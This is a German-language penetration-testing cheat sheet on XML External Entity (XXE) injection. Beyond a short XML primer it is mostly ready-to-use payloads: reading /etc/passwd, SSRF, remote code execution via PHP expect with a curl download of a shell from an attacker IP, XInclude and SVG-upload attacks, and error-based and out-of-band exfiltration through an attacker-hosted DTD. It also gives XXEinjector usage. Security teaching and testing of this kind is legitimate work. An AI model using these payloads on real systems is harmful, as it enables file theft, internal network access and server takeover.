Skip to content

XML External Entities

Wenn Applikation XML benutzen sind die sogenannten XXE Attacken möglich.XXE Darstellung Diese Schwachstellen können auftreten, wenn Applikationen Daten mithilfe von XML ĂŒbertragen.

XML Basics # XML Basics XML steht fĂŒr "extensible markup language". Es wird fĂŒr den Transport von Daten benötigt, und ist in einer baumartigen Struktur aufgebaut. Anders als HTML benutzt XML keine vordefinierten Tags. So können eigene Tags erstellt werden, um die Daten besser zu beschreiben. Allerding hat XML an popularitĂ€t, wegen JSON verloren. ## XML EntitĂ€ten XML entities sind ein Weg Daten in einem XML Dokument zu reprĂ€sentieren, anstatt die Daten selbst zu nutzen. Es gibt verschiedene etitĂ€ten, die es in der XML Sprache gibt. Beispielsweise die EntitĂ€ten `<` und `>` reprĂ€sentieren die Zeichen `<` und `>`. Diese Metazeichen werden zur verwendung von XML-Tags verwendet. ## Dokument Typen Definitionen Die Dokument Typ Definitionen werden auch als (DTD) bezeichnet. Diese enthalten Deklarationen, welche die Struktur eines XML Dokuments definieren, die Datentypen die es enthalten kann und andere Objekte. Das DTD wird im `DOCTYPE` Element am Start vom XML Dokument deklariert. Die DTD kann vollstĂ€ndig im Dokument selbst enthalten sein oder von einem anderen Ort geladen werden. Eine Mischung ist auch möglich. ### Benutzerdefinierte XML EntitĂ€ten Eigene EntitĂ€ten können im DTD definiert werden:
<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>
## XML externe EntitÀten Externe EntitÀten, werden von einer externen Quelle aus geladen. Die Deklaration einer externen EntitÀt nutzt das `SYSTEM` Stichwort und muss die URL laden von welcher die EntitÀt geladen werden soll.
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>
Es ist auch möglich Daten zu laden:
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>
## Öffentlich externe EntitĂ€ten Diese EntitĂ€ten sind öffentlich und werden meist benutzt um einen Standard zu definieren, wie (X)HTML oder SVG.
<!ENTITY name PUBLIC "public_id" "URI">
## Parameter EntitÀten Existieren nur innerhalb der DTD. Sie unterscheiden sich lediglich durch das `%` Prefix.
<!ENTITY % course 'WEB 200'> # Paramete EntitÀt
<!ENTITY Title 'Offensive Security presents %course;'> # Interne EntitÀt

Tools

  • staaldraad/xxeftp Ein kleiner Webserver mit FTP support fĂŒr XXE Payloads
  • lc/230-00B Out-of-Band XXE Server um Daten ĂŒber FTP zu empfangen und Payloads zu erstellen mit http://xxe.sh/
  • enjoiz/XXEinjector Automatisches XXE exploiting Tool
  • BuffaloWill/oxml_xxe Tool um XXE Exploits in unterschiedliche Dateitypen einzubetten (DOCX/XLSX/PPTX, ODT/ODG/ODP/ODS, SVG, XML, PDF, JPG, GIF)
  • whitel1st/docem Tool um XXE Exploits einzubetten (DOCX/ODT,PPTX)
  • bytehope/wwe Tool zum Demonstrieren von XXE in PHP nur mit den Flags LIBXML_DTDLOAD oder LIBXML_DTDATTR

Das Tool XXEinjector kann genutzt werden, indem der Request in eine Datei geschrieben wird. Der erste XML Header wird stehengelassen und das keyword XXEINJECT wird danach geschrieben.

POST /blind/submitDetails.php HTTP/1.1
Host: 10.129.201.94
[...]

<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT

Dann kann das programm gestartet werden:

ruby XXEinjector.rb --host=[tun0 IP] --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter

Identifizieren von XXE

XXE Schwachstellen können mit internen EntitÀten gefunden werden.

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

Tip

Es könnte helfen den Header Content-Type: application/xml zu setzen.

Angriff zur Datei extraktion

Um eine XXE Attacke auszufĂŒhren, welche Dateien zurĂŒckgibt mĂŒssen zwei Bedingungen erfĂŒllt werden. - Erstelle ein DOCTYPE Element, welches eine externe EntitĂ€t definiert, welche einen Pfad zu einer Datei erhĂ€lt. - Erstelle einen Datenwert im XML, welcher in der HTTP Antwort zurĂŒckgegeben wird. Beispielsweise eine Shopping Applikation, welche die Anzahl der Waren ĂŒberprĂŒft.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

XXE Angriff um eine SSRF Attacke zu nutzen

Mithilfe von XXE Attacken können auch SSRF Attacken ausgefĂŒhrt werden um auf interne Systeme zuzugreifen:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal"> ]>

Remote Code Execution

Auch ist es möglich mit XXE eine RCE auszufĂŒhren, dafĂŒr muss aber das PHP Modul expect aktiviert sein. So ist es auch möglich einfache Kommandos auszufĂŒhren, wie expect://id.

  <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">

Versteckte AngriffsflĂ€chen fĂŒr XXE Injektion

XXE Attacken können auch ausgenutzt werden, wenn nicht aus das XML direkt zugegriffen werden kann. Dies kann passieren, wenn zugesandte Daten auf Server Seite in XML eingebettet werden. Das heißt dann, dass das DOCTYPE Element nicht modifiziert oder verĂ€ndert werden kann. Doch statt dessen ist es möglich XInclude zu benutzen. XInclude ist ein Teil der XML Spezifikation, welcher es erlaubt ein XML Dokument von sub Dokumenten zu erstellen. Dadurch ist es möglich dieses in ein XML Dokument einzusetzen, wobei lediglich ein einzelnes Element im XML Dokument erstellt werden können.

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd" /></foo>

XXE mit Dateiuploads

Manche Applikationen erlauben den Dateiuploud. Diese können XML oder Teile von XML enthalten und die Serverseitig bearbeitet werden. Beispiele hierfĂŒr sind DOCX und SVG. Wenn eine Applikation Bilder erwartet, wie PNG und JPEG erwartet, kann es auch sein, dass das Bild Bearbeitungsprogramm trotzdem SVG Bilder verarbeitet. Dies kann ausgenutzt werden um SVGs mit schadhaftem XML hochzuladen.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" [
  <!-- an internal subset can be embedded here -->
  <!ENTITY xxe SYSTEM "https://example.com/foo.txt">
]>
<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
  <text x="20" y="35">My &xxe;</text>
</svg>
SVG Cheat Sheet

Error Based XXE

Error based XXE ist möglich, wenn mindestens eine lokale DTD Datei existiert.

<!DOCTYPE root [
    <!ENTITY % local_dtd SYSTEM "file:///abcxyz/">
    %local_dtd;
]>
<root></root>

<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
Der obige Code wirft einen Fehler aufgrund der nicht existierenden EntitĂ€t nonExistingEntity. Dabei wird aber auch die angehĂ€ngte file EntitĂ€t ausgefĂŒhrt und in der Fehlermeldung gezeigt.

Dieser Code kann nun von unserem Server geholt werden und beim Opfer ausgefĂŒhrt werden:

<!DOCTYPE email [
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %error;
]>

XXE mit modifiziertem Content-Type Header

Die meisten POST Anfragen nutzen den Standard Content-Type Header standardmĂ€ĂŸig application/x-www-form-urlencoded. Viele Webseiten erwarten Anfragen in diesem Format, lassen aber auch andere zu. Beispielsweise wenn eine normale Anfrage das folgende zulĂ€sst:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar
Dann könnte die folgende Anfrage das gleiche Ergebniss bringen:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Out-of-Band Exploitation

Ist es nicht möglich die Ergebnisse unseres XXE Angriffs zu sehen und gibt es keine Fehlermeldungen die sensible Daten enthĂŒllen, muss der Out-of-Band Angriff benutzt werden. DafĂŒr wird ein eigener DTD erstellt und gehostet.

<!ENTITY % content SYSTEM "file:///etc/passwd">
<!ENTITY % external "<!ENTITY &#37; exfil SYSTEM 'http://<ip>/out?%content;'>">
Es werden Parameter EntitĂ€ten genutzt, damit diese innerhalb des DTD verarbeitet werden. Damit sie sich gegenseitig beeinflussen können. Damit diese nun genutzt werden können mĂŒssen sie im XML definiert werden innerhalb des DTD:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE oob [
<!ENTITY % base SYSTEM "http://your ip address/external.dtd">
%base;
%external;
%exfil;
]>
<entity-engine-xml>
</entity-engine-xml>
Sollte das fehlschlagen, weil die /etc/passwd nicht gelesen werden kann wegen ungĂŒltiger Zeichen kann eine einfachere Datei zum testen benutzt werden, wie /etc/timezone.

Auch ist es möglich die Datei vorher noch zu enkodieren:

php://filter/convert.base64-encode/resource=/etc/passwd

Enkodierung

Mit base64 enkodierte Payloads sind auch möglich:

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

Auf Àhnliche Art ist es auch möglich PHP zu inkludieren:

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
oder
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3" >
]>
<foo>&xxe;</foo>

Fortgeschrittene Exfiltration mit CDATA

Es ist möglich andere Daten zu extrahieren auch binary Daten. Um Daten die nicht dem XML Standard entsprechen ist es möglich die Daten in externe datei referenzen mit CDATA zu packen. <![CDATA[ FILE_CONTENT ]]> Auf diese weise wird der Inhalt als raw data behandelt. Um die AusfĂŒhrung innerhalb zu ermöglichen kann dies in drei Teile aufgeteilt werden:

<!DOCTYPE email [
  <!ENTITY begin "<![CDATA[">
  <!ENTITY file SYSTEM "file:///var/www/html/submitDetails.php">
  <!ENTITY end "]]>">
  <!ENTITY joined "&begin;&file;&end;">
]>
Dies wird allerdings nicht funktionieren, da XML das verbinden von internen und externen Referenzen verhindert. Um dies zu umgehen können die XML Parameter EntitÀten benutzt werden. Genauer gesagt ein spezieller Typ hiervon, welcher mit dem % startet. Dieser kann nur innerhalb des DTD genutzt werden. Das besondere an Parameter EntitÀten ist, dass wenn sie von einer externen Quelle referenziert werden, wie dem eigenen Server werden sie als externe EntitÀten behandelt. Das folgende wird auf unserem Server gehostet:
<!ENTITY joined "%begin;%file;%end;">
Dann wird dieser Code genutzt und holt sich die benötigten Daten vom Server:
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA["> <!-- prepend the beginning of the CDATA tag -->
  <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> <!-- reference external file -->
  <!ENTITY % end "]]>"> <!-- append the end of the CDATA tag -->
  <!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> <!-- reference our external DTD -->
  %xxe;
]>
...
<email>&joined;</email> <!-- reference the &joined; entity to print the file content -->
Allerdings können manche Daten von einigen Webservern nicht gelesen werden(index.php). Da der Server eine DOS Attacke verhindert, welches durch die Datei/EntitÀt selbst Referenz(i.e., XML EntitÀten Referenzen loop).